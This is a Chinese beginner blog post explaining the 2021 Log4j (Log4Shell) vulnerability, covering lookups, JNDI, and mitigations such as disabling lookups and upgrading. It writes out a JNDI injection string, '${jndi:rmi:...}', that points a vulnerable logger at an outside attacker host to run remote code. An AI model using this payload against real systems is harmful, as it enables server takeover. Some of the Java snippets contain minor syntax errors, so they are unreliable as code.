log4j漏洞的產生原因和解決方案,小白都能看懂!!!!

程式設計師小飯發表於2021-12-13

核彈級bug Log4j,相信很多人都有所耳聞了,這兩天很多讀者都在問我關於這個bug的原理等一些問題,今天我們們就專門寫一篇文章,一起聊一聊這個核彈級別的bug的產生原理以及怎麼防止 核彈爆炸

產生原因

其實這個主要的原因,和日誌有關,日誌是應用軟體中不可缺少的部分,Apache的開源專案log4j是一個功能強大的日誌元件,提供方便的日誌記錄。

最簡單的日誌列印

我們看如下場景: 登入頁面 這個場景大家應該很熟悉了,就是使用者登入,我們們今天不用關心登入是怎麼實現的,只用關心使用者名稱name欄位就可以了,程式碼如下

public void login(string name){
  String name = "test";  //表單接收name欄位
  logger.info("{},登入了", name); //logger為log4j
}

很簡單,使用者如果登陸了,我們通過表單接收到相關name欄位,然後在日誌中記錄上這麼一條記錄。

這個看起來是很常規的操作了,記錄日誌為什麼會導致bug呢?不要著急,我們接下來往下看。

lookup支援列印系統變數

name變數是使用者輸入的,使用者輸入什麼都可以,上面的例子是字串test,那麼使用者可以輸入別的內容麼? 登入頁面

public void login(string name){
  String name = "{$java:os}";  //使用者輸入的name內容為  {$java:os}
  logger.info("{},登入了", name); //logger為log4j
}

如果使用者在使用者名稱輸入框輸入{$java:os},那麼日誌中記錄的會是系統相關的資訊,上述程式碼會輸出

Windows 7 6.1 Service Pack 1, architecture: amd64-64,登入了

為什麼會產生這種奇怪的現象呢?

是因為log4j提供了一個lookup的功能,對lookup功能不熟悉的同學也沒有關係,你知道有這麼個方法,可以把一些系統變數放到日誌中就可以了,如下圖

lookup
lookup

比較敏銳的同學可能已經開始察覺到了,現在越來越像sql注入了。

JNDI介紹

很多同學可能對JNDI不是很瞭解,不過沒關係,我用最通俗的話來解釋 其實就是你自己做一個服務,比如是

jndi:rmi:192.168.9.23:1099/remote

如果被攻擊的伺服器,比如某臺線上的伺服器,訪問了或者執行了,你自己的JNDI服務,那麼線上的伺服器就會來執行JNDI服務中的remote方法的程式碼。如果不是很清楚,沒關係,下面有張圖

JNDI
JNDI

大家還記得我們今天的主角log4j麼? 如果使用者直接在使用者名稱輸入框輸入JNDI的服務地址

image
image
public void login(string name){
  String name = "${jndi:rmi:192.168.9.23:1099/remote}";  //使用者輸入的name內容為 jndi相關資訊
  logger.info("{},登入了", name); 
}

那麼只要是你用log4j來列印這麼一條日誌,那麼log4j就會去執行 jndi:rmi:192.168.9.23:1099/remote 服務,那麼在黑客的電腦上就可以對線上服務做任何操作了,

大家想象一下,一個不是你公司的人,卻可以在你們公司線上伺服器做任何操作,這該是多麼的可怕。

解決方式

其實如果你瞭解了這個原理那麼解決方式也就一目瞭然了,

  • 禁用lookup或JNDI服務

罪魁禍首就是lookup和JNDI,那麼直接修改配置檔案log4j2.formatMsgNoLookups=True或禁用JNDI服務,不過一般產生問題的服務都是線上已經在跑的服務,禁用的時候要注意評估一下是否允許。

  • 升級Apache Log4j

這次產生的影響範圍主要是在Apache Log4j 2.x <= 2.14.1 ,所以直接把Log4j升級即可解決。

相關文章